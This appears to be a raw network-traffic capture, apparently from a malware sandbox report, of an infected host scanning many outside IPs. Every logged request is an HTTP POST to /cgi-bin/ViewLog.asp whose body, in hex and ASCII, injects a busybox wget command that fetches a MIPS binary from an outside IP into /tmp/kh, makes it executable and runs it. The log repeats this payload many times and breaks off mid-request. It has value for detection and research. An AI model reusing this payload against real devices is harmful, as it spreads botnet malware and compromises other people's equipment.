                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                490192.168.2.153877094.131.64.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.310693979 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:07.413003922 CET1314INHTTP/1.1 400 Bad Request
                                                Server: squid/3.5.20
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 04:22:07 GMT
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 3560
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Vary: Accept-Language
                                                Content-Language: en
                                                X-Cache: MISS from ezproxies.com
                                                X-Cache-Lookup: NONE from ezproxies.com:8080
                                                Via: 1.1 ezproxies.com (squid/3.5.20)
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. *//* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-famil


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                491192.168.2.155881695.76.225.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.409159899 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.537518978 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:09.849556923 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:12.665410042 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:18.041305065 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:28.536947966 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:51.324323893 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                492192.168.2.155263262.29.60.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.421422958 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                493192.168.2.155298695.111.231.2358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.823843956 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:08.021254063 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                494192.168.2.153988685.199.50.698080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.827645063 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                495192.168.2.155500294.121.75.2048080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.848165035 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                496192.168.2.154689062.29.65.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.850056887 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                497192.168.2.155222462.29.11.1468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.853543043 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                498192.168.2.153933894.122.14.208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.853883982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                499192.168.2.154266494.121.64.598080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:07.866060019 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                500192.168.2.155820631.136.227.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:11.321475983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:14.457411051 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.601330042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:32.636867046 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
